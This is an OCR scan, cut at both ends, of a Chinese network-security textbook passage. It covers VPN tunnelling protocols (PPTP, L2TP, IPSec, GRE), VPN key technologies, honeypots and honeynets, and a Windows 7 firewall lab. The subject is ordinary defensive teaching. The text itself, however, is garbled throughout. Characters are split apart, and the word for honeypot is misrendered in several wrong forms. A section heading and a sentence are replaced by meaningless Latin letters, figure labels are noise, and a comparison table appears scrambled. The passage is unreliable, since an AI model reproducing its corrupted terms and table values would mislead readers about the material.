看 不 同 VPN 通过 公共 网 络 的 方式 ,因此 这 里 只 介绍 使 用 这 些 协议 的 VPN 通过 公共 网 络 的 
方式 。 简 单 而 言 ,这 就 是 “隧道 "模式: 通过 一 种 特定 协议 的 网 络 ,传输 其 他 协议 的 数据 包 。 

(1) 数据 链 路 层 协议 。 数 据 链 路 层 的 安全 协议 PPTP 和 L2TP, 是 较为 陈旧 的 协议 , 现 
在 已 较 少 使 用 。 这 两 种 协议 都 提供 了 为 PPP 连接 提供 穿越 公共 网 络 隧道 的 功能 。 
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PPTP HPY (Point-to-Point Tunneling Protocol) 是 由 微软 基于 PPP (Point-to-Point 
Protocol) 协 议 设 计 的 。 在 当时 的 条 件 下 ,众多 客户 一 般 都 通过 一 些 拨号 手段 ,通过 PPP 协 
议 接 入 公共 网 络 或 者 专用 网 络 。 在 当时 ,一 些 公司 出 差 的 员工 ,可 能 会 有 使 用 公司 内 部 的 一 
些 不 对 公共 网 络 开放 的 重要 资源 的 需要 ,也 需要 拨号 访问 公司 内 部 服务 器 。 对 于 此 种 需求 ， 
无 论 是 建设 专用 网 还 是 直接 拨 公 司 的 长 途 电 话 号 码 都 是 花费 比较 大 的 手段 。 


ALR 
PPTP 接 入 控制 器 Cia > Herta 


图 8-21 PPTP 工作 示意 图 


PPTP 协议 的 提出 为 较 廉 价 的 接 入 远程 专用 网 络 提供 了 便利 。 在 此 种 协议 运行 的 整体 
结构 中 有 “PPTP 接 入 控制 器 ”和 “PPTP 网 络 服务 器 ”的 概念 。 出 差 员 工 之 类 的 远 端 客户 可 
以 通过 PPP 协议 拨号 到 PPTP 接 入 控制 器 ,由 其 通过 公共 的 IP 网 络 与 PPTP 网 络 服务 器 
连接 ,最 终 由 PPTP 网 络 服 务 器 与 公司 内 部 网 络 进行 联系 ,如 图 8-21 所 示 。PPTP 协议 实 
现 并 控制 了 一 条 穿越 公共 IP 网 络 的 隧道 ,在 隧道 中 传送 PPP 分 组 。 实际 上 ,穿越 公共 IP 
网 络 的 隧道 是 由 GRE 协议 来 实现 的 。 关 于 GRE 协议 ,后 面 将 会 讲 到 。 而 PPTP 更 多 是 提 
供 对 隧道 及 传送 PPP 分 组 的 控制 。 总 的 来 说 ,PPTP 只 是 提供 了 第 二 层 的 隧道 功能 ,而 诸 
如 身份 认证 .通信 机 密 性 .通信 完整 性 则 完全 没有 考虑 。 只 能 依靠 PPP 协议 自身 的 PAP, 
CHAP 和 MPPE 这 些 现在 看 来 有 缺陷 的 机 制 来 实现 。 另 外 PPTP 的 控制 消息 采用 了 固定 
格式 ,也 缺乏 灵活 性 。 

虽然 问题 很 多 ,但 PPTP 协议 在 较 早 期 的 VPN 中 有 很 广泛 的 应 用 ,这 很 大 程度 上 是 因 
为 微软 的 原因 。 当 然 , 那 个 时 代 网 络 安全 整体 水 平 的 局 限 性 是 更 大 的 原因 。 除 了 已 经 介绍 
过 的 缺点 外 ,该 协议 只 能 通过 IP 网 络 建立 隧道 ,而 且 与 其 他 的 一 些 二 层 隧道 协议 兼容 性 不 
好 。 为 了 解决 这 些 问题 ,微软 与 思科 公司 于 1996 年 联合 提出 了 L2TP 协议 。 与 PPTP 相 
比 ,L2TP 协议 除了 能 利用 IP 网 络 ,还 可 以 在 其 他 形式 的 公共 网 络 上 建立 用 于 VPN 的 隧 
道 ; 控制 消息 格式 更 为 灵活 ; 在 身份 认证 上 采用 了 类 似 PPP 的 CHAP 机 制 增强 了 一 些 身 
份 认证 方面 的 安全 性 。 但 是 ,在 其 他 方面 则 没有 什么 改进 。 

总 的 来 说 ,以 今天 的 眼光 来 看 ,类 似 PPTP、L2TP 这 类 的 数据 链 路 层 安 全 协议 存在 着 许 
多 缺点 。 现 在 ,即便 是 仍然 使 用 它们 来 为 VPN 建立 穿越 公共 网 络 的 隧道 ,也 需要 类 似 
IPSec 之 类 的 协议 来 配合 。 

(2) 网 络 层 协议 。IPSec 协议 在 前 面 介绍 过 ,尤其 是 在 介绍 其 实现 方式 的 时 候 介绍 过 
IPSec 的 隧道 模式 一 一 如 何在 IPSec 隧道 上 传输 普通 的 IP 数据 包 。 而 从 某 种 意义 上 来 讲 ， 
IPSec 隧道 本 身 则 可 以 视 为 是 在 普通 的 IP 网 络 中 以 GRE 协议 实现 的 。 通 过 GRE 协议 完 
成 了 通过 IP 协议 网 络 上 的 IPSec 数据 包 的 隧道 传输 。 关 于 GRE 协议 ,刚刚 还 在 介绍 
PPTP 协议 的 时 候 提 到 过 ,PPTP 用 其 在 IP 网 络 上 传输 PPP 协议 的 分 组 。 
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通用 路 由 封装 (Generic Route Encapsulation，GRE) 协 议 是 一 种 在 任意 网 络 层 协议 上 
封装 任意 其 他 协议 的 一 种 专门 的 隧道 协议 。 在 这 里 就 是 要 在 IP 协议 之 上 运行 任意 其 他 的 
网 络 协议 ,这样 将 在 IP 网 络 上 形成 一 个 其 他 协议 的 隧道 。 

简 而 言 之 ,GRE 的 处 理 方式 就 是 把 任意 的 其 他 协议 数据 包 作为 IP 数据 包 的 数据 部 分 
在 IP 网 络 上 传送 。GRE 协议 运行 示意 图 见 图 8-22。 

运行 某 协议 X 的 网 络 A 与 B 通过 运行 IP 协议 的 Internet 进行 X 协议 的 通信 ,两 个 网 
络 与 Internet 的 边界 分 别 是 路 由 器 R1 与 R2。 事 先 ,人 们 需要 在 两 台 路 由 器 上 设置 指向 彼 
此 的 隧道 ,并 指定 何 种 路 由 转发 情况 下 使 用 隧道 。 当 X 协议 的 数据 包 从 A 网 络 抵达 路 由 器 
R1 后 ,R1l 会 依据 自己 的 路 由 原则 来 选择 转发 方式 ,如 果 发 现 需 要 通过 某 一 隧道 ,R1 将 生成 
一 个 IP 数据 包 , 该 数据 包 源 地 址 为 R1, 目 的 地 址 为 定义 好 的 隧道 男 一 端 R2; 整个 X 协议 
数据 包 将 作为 此 IP 数据 包 的 数据 部 分 。 当 数据 包 抵达 R2 时 ，R2 会 恢复 出 X 协议 数据 包 
来 交 到 B 网 络 中 。 如 此 便 实现 了 通过 IP 网 的 X 协议 通信 。 


L] E 


Internet 
T a —_ Cen» w i 


X 协 议 网 络 


隧道 部 分 X 协 议 网 络 


X 协 议 数据 包 隧道 协议 IP 头 | 原 X 协 议 数据 包 X 协 议 数据 包 
隧道 中 的 数据 包 结 构 
图 8-22 GRE 协议 运行 示意 图 
再 来 专门 看 一 看 一 个 以 GRE 封装 IP 数据 包 的 示例 ,这 个 示例 能 够 让 大 家 对 GRE 协议 
有 一 个 更 深入 的 认识 。 如 图 8-23 所 示 ,假设 一 个 公司 内 部 网 络 的 IP 设置 : 总 部 为 Intranet 
专用 的 172. 16. 0.0 网 段 , 某 分 支 机 构 为 Intranet 专用 的 172.17.0.0 网 段 , 掩 码 采 用 默认 16 
位 。 假 设 总 部 与 该 分 支 机 构 内 部 网 络 的 边界 路 由 器 R1 和 R2 的 公共 网 络 IP 地 址 分 别 为 


ELEI 2.2.2.2 


Internet | 
172.16.0.0/16 es Cer —_ 172.17.0.0/16 
内 网 部 分 | 隧道 部 分 | 内 网 部 分 

外 部 IP 头 外 部 IP 头 数据 部 分 

源 IP: 1.1.1.1 源 IP : 172.16.3.15 

目的 IP: 2.2.2.2 | 目的 IP: 172.17.0.1 

GRE 协 议 IP 头 原始 IP 数 据 包 


隧道 中 的 IP over IP 数 据 包 


图 8-23 GRE 运行 IP over IP 的 示例 
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1.1.1.1 和 2. 2. 2.2, 两 台 路 由 器 上 需要 设置 指向 彼此 IP 地 址 的 隧道 。 设 置 路 由 表 , 令 RI 
上 指向 172. 17. 0. 0 网 段 的 路 由 条 目 设置 为 通过 指向 R2 的 隧道 传送 ; R2 上 指向 172. 16. 0. 0 网 
段 的 路 由 条 目 设 置 为 通过 指向 R1 的 隧道 传送 。 

现在 假设 要 实现 总 公司 某 IP 地 址 为 172. 16. 3. 15 的 机 器 访问 分 部 地 址 为 172. 17. 0. 1 
的 服务 器 。 总 部 机 器 发 生源 地 址 为 172. 16. 3. 15、 目 的 地 址 为 172. 17. 0. 1 的 数据 包 , 由 于 
是 发 往 其 他 网 段 ,该 数据 包 必 将 交 由 R1 处 理 。R1 依据 自身 路 由 表 确 定 该 数据 包 应 通过 隧 
道 传 输 。 于 是 生成 新 IP 数据 包 , 包 头 源 地 址 1. 1. 1.1、 目 的 地 址 2. 2. 2. 2, 并 将 整个 原始 IP 
数据 包 作为 数据 部 分 ,发 到 Internet 上 。R2 接收 到 该 数据 包 后 清除 外 部 IP 头 , 将 原始 的 源 
地 址 为 172. 16. 3. 15、 目 的 地 址 为 172. 17. 0. 1 的 数据 包 交 给 分 支 机 构 内 部 网 络 由 相应 设备 
接收 。 对 于 通信 双方 来 说 ,网 络 边界 路 由 器 的 隧道 处 理 对 于 他 们 是 透明 的 ,他 们 会 感觉 就 如 
同 在 一 个 完全 专用 的 、 可 以 自行 任意 设置 IP 和 网 络 结构 的 网 络 中 进行 通信 。 当 然 ,由 于 使 
用 了 只 提供 隧道 功能 的 GRE 协议 ,这 个 虚拟 专用 网 没有 多 少 安全 性 可 言 。 

(3) 传输 层 协议 。 传 输 层 的 安全 协议 SSL/TLS 在 前 面 已 经 介绍 过 了 。 此 种 协议 的 数 
据 包 由 TCP 协议 传输 ,其 通过 公共 网 络 的 时 候 是 作为 普通 的 IP 数据 包 来 处 理 的 。 虽然 也 
可 以 认为 其 是 通过 了 TCP/IP 的 隧道 ,但 由 于 它们 被 视 为 属于 同一 个 协议 族 ,并 没有 人 使 用 

上 面 介 绍 了 3 个 协议 层 : 数据 链 路 层 、 网 络 层 、 传 输 层 上 的 一 些 隧道 协议 。 通 过 各 种 隧 
道 协议 或 者 类 似 SSL/TLS 那样 直接 利用 公共 网 络 上 的 协议 ,也 可 以 获得 一 种 跨越 公共 网 
络 布置 专用 网 的 途径 。 从 这 一 点 上 来 说 ,这 些 协议 实现 了 与 前 面 介绍 的 “专线 ”同样 的 功能 : 
穿越 公共 网 络 。 与 “专线 ? 走 固 定 的 有 品质 保障 线路 不 同 的 是 ,这 种 方式 的 VPN 数据 包 只 
会 以 普通 IP 包 的 资格 获得 “尽力 传输 ”的 待遇 ,从 而 网 络 性 能 上 会 有 所 欠缺 。 但 付 给 运营 商 
的 费用 更 低 ,对 于 不 太 注 重 速度 与 时 延 的 普通 专用 网 ,不 失 为 优秀 的 选择 。 

第 二 个 视角 ,从 网 络 的 应 用 方式 .应 用 范围 角度 来 分 类 。 据 此 ,可 以 将 VPN 分 为 远程 
接 人 VPN ,内 联网 VPN 、 外 联网 VPN. 

(1) 远程 接 和 人 VPN(Access VPN). WIA VPN 又 称 为 拨号 VPN( 即 VPDN) ,是 指 
通过 公共 网 络 远程 拨号 之 类 的 方式 构建 的 虚拟 网 ,可 提供 对 特定 网 络 资源 的 远程 访问 功能 。 
适用 于 出 差 的 企业 员工 或 企业 的 小 分 支 机 构 连接 公司 网 络 。 远 程 接 人 VPN 为 用 户 通 过 离 
散 的 各 个 远程 地 点 访问 特定 的 网 络 资源 提供 了 便利 ,有 很 多 合适 的 应 用 场景 。 例 如 ,出 差 员 
工 在 外 地 旅店 存 取 企业 网 数据 ,技术 支持 人 员 在 客户 的 网 络 中 访问 公司 的 数据 库 查询 调试 
参数 ,纳税 企业 接 入 互联 网 并 通过 VPN 进入 当地 税务 管理 部 门 进 行 网 上 税金 缴纳 。 

(2) 内 联网 VPNCntranet VPN)。 一 个 公司 中 地 理 上 分 布 的 各 个 机 构 之 间 建 立 的 ,用 
以 连接 同 公司 不 同 机 构 网 络 中 资源 的 虚拟 专用 网 。 此 种 网 络 是 企业 内 部 网 在 空间 地 域 上 的 
扩展 。 对 于 类 似 跨 国 公司 这 样 具 有 较 多 分 支 机 构 的 企业 是 很 必要 的 选择 。 

(3) 外 联网 VPN(Extranet VPN)。 某 产业 的 各 个 合作 伙伴 企业 共同 构建 Extranet, K 
一 系列 公司 需要 彼此 共享 的 资源 进行 连接 的 虚拟 专用 网 。 

有 构建 外 联网 VPN 需求 的 数 个 企业 一 般 都 是 彼此 间 业 务 联系 比较 密切 的 企业 。 例 
如 ,同一 条 产业 链 上 的 各 个 供 货 商 与 分 销 商 之 间 ; 购物 网 站 、 网 络 商城 与 各 个 银行 之 间 ; 一 
些 手机 销售 网 点 ,由 于 同时 会 有 办 理 手机 SIM 卡 、 存 话费 赠 手机 之 类 的 移动 电信 业务 ,就 需 
要 通过 VPN 连接 到 不 同 的 移动 电信 业务 供应 商 的 服务 器 上 ,进行 涉及 一 定数 量 金 钱 的 数 
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据 操作 。 
8.3.3 VPN 关键 技术 


VPN 的 关键 技术 主要 有 隧道 技术 、 加 密 技术 、 密 钥 管 理 技术 、 身 份 认证 技术 、 管 理 技术 。 

1. 隧道 技术 

隧道 技术 是 VPN 的 基本 技术 ,可 以 说 ,没有 隧道 技术 就 没有 VPN。 作 为 建立 于 公共 网 
络 上 的 专用 网 ,VPN 一 般 都 需要 跨越 一 定 的 地 理 距 离 ,需要 穿越 公共 网 络 。 如 何在 公共 网 
络 上 传输 VPN 的 数据 包 是 任何 VPN 需要 解决 的 基本 问题 。 

前 面 介绍 过 VPN 穿越 公共 网 络 的 两 大 类 方法 。 一 种 是 “专线 ”形式 , 另 一 种 是 “隧道 ” 
形式 。“ 专 线 ” 形 式 需 要 数据 链 路 层 的 虚 电 路 或 者 MPLS 协议 支持 , 且 需 要 链 路 沿途 的 各 个 
设备 都 支持 相应 协议 ; 而 “隧道 ”形式 则 需要 以 隧道 协议 将 原始 数据 包 封装 成 特定 的 可 以 传 
输 于 公共 网 络 之 上 的 协议 格式 ,只 需要 在 源 端 和 目的 端 设 备 上 做 额外 的 隧道 处 理 。 

一 般 而 言 , 使 用 “专线 ”形式 的 VPN 具有 更 好 的 网 络 性 能 ,网 络 时 延 都 比较 短 ; 但 需 向 
ISP 支付 的 费用 要 高 一 些 ; 地 理 跨度 或 者 设置 接 入 点 的 灵活 性 也 会 受到 诸如 ISP 覆盖 面 之 
类 因素 的 影响 。 而 使 用 隧道 协议 方式 的 VPN 则 基本 不 受 地 理 跨度 和 ISP 覆盖 的 影响 ; 支 
付 给 ISP 的 费用 也 相对 低廉 一 点 ; 但 网 络 时 延 一 般 都 更 长 一 些 。 

2. 加 密 技术 

加 密 技术 是 VPN 建设 经 常 选择 的 可 选项 。 一 些 采 用 “专线 ”形式 ,以 及 一 些 传输 数据 
不 够 重要 的 VPN 可 能 对 加 密 技术 没有 特别 的 要 求 。 但 对 于 隧道 协议 VPN 或 者 是 对 数据 
安全 有 更 高 要 求 的 情况 下 ,加 密 技 术 是 必要 的 选择 。 该 技术 是 VPN 传输 数据 保密 性 、 完 整 
性 、 抗 否认 性 的 保障 。 

加 密 技 术 是 一 项 较 成 熟 的 技术 。 传 输 数据 的 对 称 加 密 ,消息 验证 码 ,数字 签名 都 需要 采 
用 加 密 技 术 才 可 以 完成 。 该 技术 是 实现 VPN 安全 性 的 核心 技术 。 

在 保证 数据 完整 性 的 时 候 需 要 用 到 MD5、SHA 之 类 消息 验证 码 算法 。 在 保证 数据 机 
密 性 的 情况 下 需要 用 到 3-DES、IDEA、AES 之 类 的 对 称 密 钥 加 密 算法 。 在 保证 抗 否认 性 时 
会 用 到 类 似 DSA 或 者 RSA 十 信息 摘要 算法 的 数字 签名 算法 。 具 体 情况 要 看 使 用 的 网 络 安 
全 协议 和 用 户 的 配置 。 在 很 多 情况 下 ,为 了 增强 安全 性 ,即便 是 采用 对 称 密 钥 加 密 算法 , 通 
信 双 方 发 送 数据 使 用 的 密 钥 也 是 不 同 的 。 

3. 密 钥 管理 技术 

有 了 密码 技术 ,就 必然 会 涉及 密 钥 管理 技术 。 没 有 保密 的 密 钥 ,加密 技术 就 是 空 耗 时 间 
做 无 用 功 。 没 有 好 的 密 钥 管理 ,加 密 技 术 的 应 用 是 没有 意义 的 。 

密 钥 管理 技术 主要 涉及 密 钥 的 生成 和 交换 。 如 何 真正 等 概率 随机 的 在 密 钥 空间 内 生产 
出 密 钥 是 一 个 重要 的 事情 ,尤其 是 对 那些 比较 重要 的 机 密 数据 传输 而 言 。 可 以 在 网 络 中 引 
入 专门 的 加 密 机 或 者 其 他 有 硬件 生产 密 钥 功 能 的 网 络 设备 ,一 些 较 新 版 本 的 操作 系统 也 有 
收集 用 户 斋 击 键盘 的 时 间 等 物理 事件 作为 密 钥 生成 依据 的 能 力 。 而 密 钥 的 传输 则 一 般 需 要 
类 似 SKIP 密 钥 管理 协议 或 者 ISAKMP/OAKLEY 之 类 的 专门 协议 支持 。 

一 般 来 说 ,类 似 IPSec、SSL 之 类 的 安全 协议 ,其 本 身 都 直接 提供 对 隧道 技术 、 加 密 技 术 
和 密 钥 交 换 技术 的 支持 。 
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4. 身份 认证 技术 

VPN 一 般 都 是 为 了 内 部 人 士 方便 、 安 全 地 访问 网 络 资源 。 但 是 部 分 网 络 资源 由 于 较为 
重要 和 敏感 ,需要 对 访问 者 进行 专门 的 甄别 ,这 就 需要 用 到 身份 识别 技术 。 

身份 识别 可 以 依照 被 访问 资源 的 重要 性 ,以 及 用 户 自 己 的 需求 与 条 件 , 采 用 不 同 的 形 
式 。 采 用 的 方式 可 以 是 简单 的 用 户 名 /口令 方式 ,还 可 以 是 指纹 等 生物 信息 ,还 可 以 使 用 智 
能 卡 进行 识别 。 而 存储 于 智能 卡 中 ,基于 公 钥 密码 算法 和 PKI 的 数字 证 书 是 适 于 广泛 应 用 
且 安全 水 准 很 高 的 识别 手段 。 各 个 网 络 银行 使 用 的 “U 盾 ” 就 是 此 类 识别 手段 。 

5. 管理 技术 

一 个 好 的 VPN 是 便于 管理 的 。 对 于 VPN 执行 的 各 种 安全 策略 ,如 加 密 算法 ,访问 权 
限 设置 日志、 审计 等 方面 需要 有 安全 有 效 的 管理 。 特 别 是 VPN 比较 大 和 复杂 的 情况 下 。 
能 否 提供 方便 有 效 的 管理 也 是 VPN 性 能 的 重要 指标 。 


8.3.4 VPN 的 优点 


性 能 价格 比 高 是 VPN 最 大 的 优点 ,也 是 VPN 这 种 网 络 安全 手段 兴盛 的 根本 原因 。 简 
SAT» VPN 具有 “专用 网 的 性 能 ,公共 网 的 价格 ”"。 这 虽然 是 近似 的 情况 ,但 对 于 广大 普通 
用 户 是 正确 的 。 

实际 上 VPN 由 于 需要 做 额外 的 处 理 , 性 能 上 比 专用 网 要 差 。 比 如 说 专线 模式 的 VPN， 
数据 链 路 层 虚 电路 的 传输 性 能 可 以 和 专用 网 相当 ,而 MPLS 的 处 理 速 度 会 稍微 慢 一 点 。 而 
隧道 协议 VPN 由 于 隧道 协议 的 开销 ,公共 网 络 的 服务 延迟 ,以 及 各 种 加 密 算法 的 开销 ,性 
能 上 有 较 多 损失 。 但 是 由 于 计算 机 和 网 络 技术 的 进步 令 公共 网 络 性 能 有 快速 的 提升 ,对 于 
大 多 数 用 户 的 普通 应 用 来 说 ,这 种 性 能 上 的 差别 是 很 容易 被 公共 网 络 传输 速度 的 进步 磨 平 ， 
从 而 忽略 不 计 的 。 

从 价格 上 来 说 ,VPN 需要 向 ISP 申请 虚拟 专线 或 者 购置 支持 安全 协议 的 网 关 设备 , 投 
资 上 也 是 要 不 同 程度 的 高 于 仅 使 用 公共 网 络 时 的 花费 。 但 随 着 VPN 的 普及 和 相关 设备 生 
产 的 进步 ,多 投入 的 资金 也 很 容易 被 接受 。 

而 VPN 易于 扩展 ,不 需要 专门 的 线路 ,只 要 具有 恰当 公共 网 络 的 地 方 都 可 以 布设 VPN 
的 新 节点 。 当 然 这 种 “恰当 的 公共 网 络 ” 是 要 视 VPN 穿越 公共 网 络 方式 而 定 的 ,如 MPLS 
VPN 一 般 需要 考虑 是 否 同一 ISP 内 ,而 网 络 层 隧道 协议 VPN 则 基本 没有 限制 。VPN 还 通 
过 成 熟 的 加 密 技术 和 认证 技术 实现 了 更 为 安全 的 通信 ,通过 结合 防火 墙 等 安全 措施 可 以 保 
证 网 络 有 更 好 的 安全 性 。 


8.4 蜜 饼 主 机 与 欺骗 网 络 


8.4.1 BREHM 


SHE EDL — RT SS a ERE BE EM A oh ER e E 
主机 设置 的 目的 就 是 吸引 别人 去 攻击 它 。 此 种 网 络 设备 的 意义 一 方面 在 于 吸引 攻击 者 的 注 
意 力 , 从 而 减少 对 真正 有 价值 目标 的 攻击 ; 另 一 方面 在 于 收集 攻击 者 的 各 种 信息 ,从 而 帮助 
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的 一 种 安全 措施 。 

蜜 饶 主 机 上 一 般 不 会 运行 任何 具有 实际 意义 且 能 产生 通信 流量 的 服务 。 所 以 ,任何 与 
蜜 饶 主 机 发 生 的 通信 流量 都 是 可 疑 的 。 通 过 收集 和 分 析 这 些 通 信 流 量 , 可 以 提供 很 多 攻击 
者 的 有 意义 的 信息 。 

就 收集 攻击 者 信息 的 能 力 和 本 身 的 安全 性 来 说 ,可 以 通过 蜜 镀 主机 的 连累 等 级 来 将 它 
们 分 为 低 连累 等 级 蜜 钠 主 机 、 中 连累 等 级 蜜 把 主机 、 高 连累 等 级 蜜 钠 主 机 。 

(1) 低 连累 等 级 的 蜜 把 主机 只 提供 简单 的 伪装 功能 。 比 如 说 打开 80 端口 ,冒充 自己 运 
行 了 HTTP 服务 。 此 种 形式 的 蜜 把 主机 只 具有 吸引 攻击 行为 的 能 力 , 由 于 自身 无 法 对 连接 
请 求 做 出 任何 应 答 , 攻 击 者 只 需要 连接 一 下 开启 的 端口 发 现 无 反应 就 可 能 收工 ,因此 其 迷惑 
攻击 者 和 收集 攻击 者 信息 的 能 力 十 分 有 限 。 而 由 于 攻击 者 也 无 法 同 这 样 的 系统 产生 交互 ， 
难以 实施 有 效 攻击 ,其 本 身 的 安全 性 比较 高 。 

(2) 中 连累 等 级 的 蜜 把 主机 提供 一 些 伪装 服务 ,能 够 让 用 户 与 其 产生 一 定 的 交互 。 对 
于 攻击 者 的 吸引 力 和 信息 收集 会 做 得 比 低 连累 等 级 蜜 缸 主机 好 得 多 。 这 样 的 蜜 饶 主 机 ,其 
伪装 的 服务 比 低 连累 等 级 蜜 镀 主机 要 复杂 。 用 于 伪装 的 程序 需要 足够 的 安全 ,不 能 有 常见 
的 容易 受 攻击 的 漏洞 。 所 以 其 上 运行 系统 的 开发 要 困难 得 多 。 蜜 钢 主 机 自身 运行 起 来 也 很 
安全 。 

G) 高 连累 等 级 的 蜜 钠 主机 用 真实 的 系统 为 攻击 者 提供 “ 实 实在 在 ”的 服务 ,从 而 有 最 
强 的 吸引 攻击 者 并 收集 其 信息 的 能 力 。 但 攻击 者 有 控制 蜜 钠 主 机 并 借 由 其 访问 更 多 本 地 资 
源 的 可 能 ,高 连累 等 级 的 蜜 钠 主 机 也 有 高 的 危险 性 ,其 本 身 有 可 能 成 为 网 络 的 一 个 漏洞 。 所 
以 ,对 高 连累 等 级 的 蜜 饶 主 机 需要 有 严密 的 监控 ,防止 其 被 攻陷 后 成 为 黑客 对 网 络 进一步 攻 
击 的 跳板 。 

不 同 连累 等 级 蜜 钠 主 机 的 特点 比较 ,如 表 8-6 所 示 。 


表 8-6 不 同 连累 等 级 密 缸 主机 特点 比较 


连累 等 级 低 连 累 等 级 的 蜜 缸 主机 ”中 连累 等 级 的 蜜 钠 主 机 。” 高 连累 等 级 的 蜜 镀 主 机 
真实 操作 系统 否 否 是 

开发 难度 低 高 中 

交互 能 力 低 中 高 

信息 收集 层面 连接 应 用 请 求 全 面 

运行 所 需 知识 低 低 高 

维护 时 间 低 低 高 

安全 风险 低 低 高 


蜜 缸 主机 的 位 置 选择 对 其 功能 也 是 有 很 大 影响 的 。 蜜 缸 主 机 的 位 置 选择 主要 是 相对 于 
防火 墙 而 言 的 ,不 同 的 位 置 选择 可 以 有 不 同 的 效果 。 就 普通 用 户 常 用 的 最 复杂 的 屏蔽 子 网 
防火 墙 结构 而 言 , 蜜 缸 主机 可 以 布置 在 : 防火 墙 之 外 .DMZ 区 、 内 部 网 络 。 

布置 于 防火 墙 之 外 的 蜜 缸 主机 主要 致力 于 吸引 和 收集 与 外 部 攻击 者 相关 的 攻击 。 其 对 
于 网 络 上 同时 配备 的 其 他 安全 措施 ,如 防火 墙 \ 入 侵 检 测 系统 等 不 会 产生 影响 。 若 其 沦陷 对 
于 内 部 网 络 也 基本 没有 什么 影响 。 其 缺点 是 无 法 定位 内 部 的 攻击 者 。 

布置 于 防火 墙 之 内 的 蜜 铅 主 机 主要 是 指向 内 部 的 攻击 者 ,对 于 外 部 的 攻击 行为 很 难 有 
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吸引 和 收集 的 效果 。 若 其 沦陷 ,对 内 部 网 络 有 较 大 威胁 。 

H EF DMZ 之 上 的 蜜 缸 主机 对 内 外 网 络 都 可 以 有 好 的 攻击 吸引 和 资料 收集 效果 ,从 
位 置 来 说 ,最 为 理想 。 但 是 , 蜜 饶 主 机 上 会 有 很 多 伪装 服务 ,需要 修改 内 外 包 过 滤 防 火 墙 的 
规则 以 保证 其 可 以 被 访问 。 而 若 其 沦陷 ,不 仅 对 于 同 在 DMZ 内 的 其 他 服务 器 是 一 种 威胁 ， 
由 于 其 与 内 部 网 络 间 的 通信 被 内 部 包 过 滤 防 火 墙 所 允许 ,对 内 部 网 络 也 是 一 种 威胁 。 


8.4.2 欺骗 网 络 


蜜 饶 主 机 会 通过 模拟 某 些 常见 的 服务 .常见 的 漏洞 来 吸引 攻击 ,使 其 成 为 一 台 * 牢 乱 ” 
(Cage) 主 机 。 但 蜜 缸 主机 毕竟 是 单 台 主 机 ,本 身 无 法 控制 外 出 的 通信 流 。 要 达到 这 样 的 目 
的 ,需要 防火 墙 等 设备 配合 才能 对 通信 流 进行 限制 。 这 样 便 演 化 成 一 种 更 为 复杂 的 网 络 其 
骗 环境 ,被 称 为 欺骗 网 络 (HoneyNet)。 一 个 典型 的 欺骗 网 络 包含 多 台 蜜 把 主机 以 及 防火 墙 
来 记录 和 限制 网 络 通 信 流 ,通常 还 会 与 人 侵 检测 系统 紧密 联系 ,以 发 现 潜 在 的 攻击 。 

与 单一 的 蜜 铅 主 机 相 比 ,欺骗 网 络 有 更 大 的 优势 。 

首先 ,欺骗 网 络 是 一 个 网 络 系统 ,而 不 是 单一 主机 。 整 个 系统 隐藏 在 防火 墙 后 面 , 可 以 
使 用 各 种 不 同 的 操作 系统 及 设备 ,运行 不 同 的 服务 。 在 欺骗 网 络 中 的 所 有 主机 都 可 以 是 标 
准 的 机 器 ,上 面 运行 的 都 是 真实 完整 的 操作 系统 及 应 用 程序 ,这 样 建立 的 网 络 环境 看 上 去 会 
更 加 真实 可 信 。 

另外 ,通过 在 蜜 钢 主机 之 前 设置 防火 墙 ,所 有 进出 网 络 的 数据 都 被 监视 、 截 获 及 控制 。 
并 用 以 分 析 黑 客 团体 使 用 的 工具 方法 及 动机 。 这 大 大 降低 因为 蜜 缸 主机 所 带 来 的 额外 安 
全 风险 。 而 所 有 蜜 饶 主 机 的 审计 可 以 通过 集中 管理 方式 来 实现 ,除了 便于 分 析 , 还 可 确保 这 
些 数据 的 安全 。 

但 是 欺骗 网 络 的 建设 和 维护 更 为 复杂 ,投入 更 大 。 欺 骗 网 络 也 不 能 解决 所 有 的 安全 问 
题 。 只 有 对 各 种 安全 策略 及 程序 都 进行 适当 优化 ,才能 尽 可 能 地 降低 风险 ,让 欺骗 网 络 发 挥 
最 大 的 效用 。 


实 训 8 Windows 防火 墙 配 置 


1. 实 训 目 的 

(1) 加 深 对 防火 墙 认识 。 

(2) 掌握 Windows 防火 墙 的 基本 功能 。 
2. 实 训 环 境 

Windows 7 操作 系统 。 

3. 实 训 内 容 

(1) 防火 墙 的 开启 与 关闭 。 

(2) Windows 7 防火 墙 基本 设置 。 

(3) Windows 7 防火 墙 高 级 规则 设置 。 
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4. 实 训 步 又 

D 防火 墙 的 开启 与 关闭 

A) 依次 选择 “开始 ”>“ 控 制 面板 ”>“Windows 防火 墙 ? 选 项 ,进入 防火 墙 管理 界面 ,如 
图 8-24 所 示 。 


| PET 


| Windows 防火 过 状态: 


Bo 公司 ws) 


图 8-24 防火墙 管 理 界面 


(2) 单 击 左 侧 的 “打开 或 关闭 Windows 防火 墙 ?或 者 单 击 “更 改 通知 设置 ,进入 开启 、 
关闭 防火 墙 界面 ,如 图 8-25 所 示 。 


图 8-25 开启 、 关 闭 防火 墙 界面 
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从 图 8-25 可 以 看 到 , Windows 7 防火 墙 的 私有 网 络 和 公用 网 络 的 配置 是 分 开 的 ,在 启 
用 Windows 防火 墙 里 还 有 以 下 两 个 选项 。 

Q@@ “阻止 所 有 传人 连接 ,包括 位 于 允许 程序 列表 中 的 程序 ”, 这 个 选项 默认 即 可 ,否则 可 
能 会 影响 允许 程序 列表 里 的 一 些 程序 使 用 。 

© “Windows 防火 墙 阻止 新 程序 时 通知 我 ”, 这 一 项 一 般 也 是 需要 选中 的 ,方便 用 户 在 
相应 情况 下 自己 做 出 判断 响应 。 

如 果 需 要 关闭 防火 墙 ,只 需要 选中 对 应 网 络 类 型 里 的 “关闭 Windows 防火 墙 ” 单 选 按 
钮 ,然后 单 击 “ 确 定 ” 按 钮 即 可 。 

2) 防火 墙 规则 设置 

(1) 在 图 8-24 显示 界面 的 左上 侧 单 击 “ 允 许 程序 或 功能 通过 Windows 防火 墙 ?将 进入 
防火 墙 的 基本 规则 设置 界面 ,如 图 8-26 所 示 。 


[ Gz 


家 庭 /工作 (专用 ) 公用 “ 
口 


口 口 口 口 图 口 口 口 


于 国 口 口 口 图 口 口 


Jo 


图 8-26 ”防火墙 基本 规则 设置 界面 


(2) 可 以 设置 某 个 具体 的 应 用 程序 对 网 络 访问 的 规则 。 设 置 其 是 否 可 以 访问 网 络 , 以 
及 可 以 访问 哪个 网 络 。 如 果 是 添加 自己 的 应 用 程序 许可 规则 ,可 以 单 击 界面 下 面 的 “允许 运 
